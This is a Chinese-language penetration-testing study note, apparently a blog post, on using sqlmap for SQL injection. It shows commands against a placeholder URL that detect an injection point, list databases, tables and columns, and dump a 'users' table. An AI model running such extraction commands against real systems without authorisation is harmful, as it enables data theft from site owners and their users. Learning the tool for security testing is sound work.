# 渗透测试笔记（三）使用sqlmap进行SQL注入攻击



## 一、sqlmap简介

`sqlmap` 是一个强大的开源工具，用于自动化检测和利用SQL注入漏洞。它支持多种数据库类型，包括MySQL、Oracle、PostgreSQL、SQL Server等。`sqlmap`能够帮助渗透测试人员快速检测注入点、获取数据库结构、甚至直接获取数据库中的敏感数据。

## 二、sqlmap注入检测

### 基本用法

使用`-u`参数指定目标URL，使用`--batch`采用默认配置

```shell
sqlmap -u "http://example.com/vulnerable.php?id=1" --batch
```

### 通过HTTP请求文件检测

```shell
sqlmap -r request.txt  --batch
```

request.txt为请求头和请求体，例如：

```http
POST /login.php HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Content-Length: 29

username=admin&password=12345
```

### 高级选项

- **`--level`**：指定检测级别，数值越高检测越深入（1-5，默认1）
- **`--risk`**：设置攻击风险等级（1-3，默认1）

## 三、sqlmap获取数据

假设目标URL为`http://example.com/vulnerable.php?id=1`，以下步骤展示了如何利用`sqlmap`来导出数据库信息：

### 1. 测试注入点

```shell
sqlmap -u "http://example.com/vulnerable.php?id=1" --batch
```

### 2. **列出数据库**：

```shell
sqlmap -u "http://example.com/vulnerable.php?id=1" --dbs
```

### 3. 选择数据库并获取表

```shell
sqlmap -u "http://example.com/vulnerable.php?id=1" -D target_db --tables
```

### 4. 选择表并获取字段

```shell
sqlmap -u "http://example.com/vulnerable.php?id=1" -D target_db -T users --columns
```

### 5. 导出表数据

```shell
sqlmap -u "http://example.com/vulnerable.php?id=1" -D target_db -T users --dump
```

这条命令会从`users`表中提取并显示所有数据。


---

> 作者: [fupcode](https://github.com/fupcode)  
> URL: https://fupcode.com/blog/posts/reverse-engineering/learning-reverse3/  

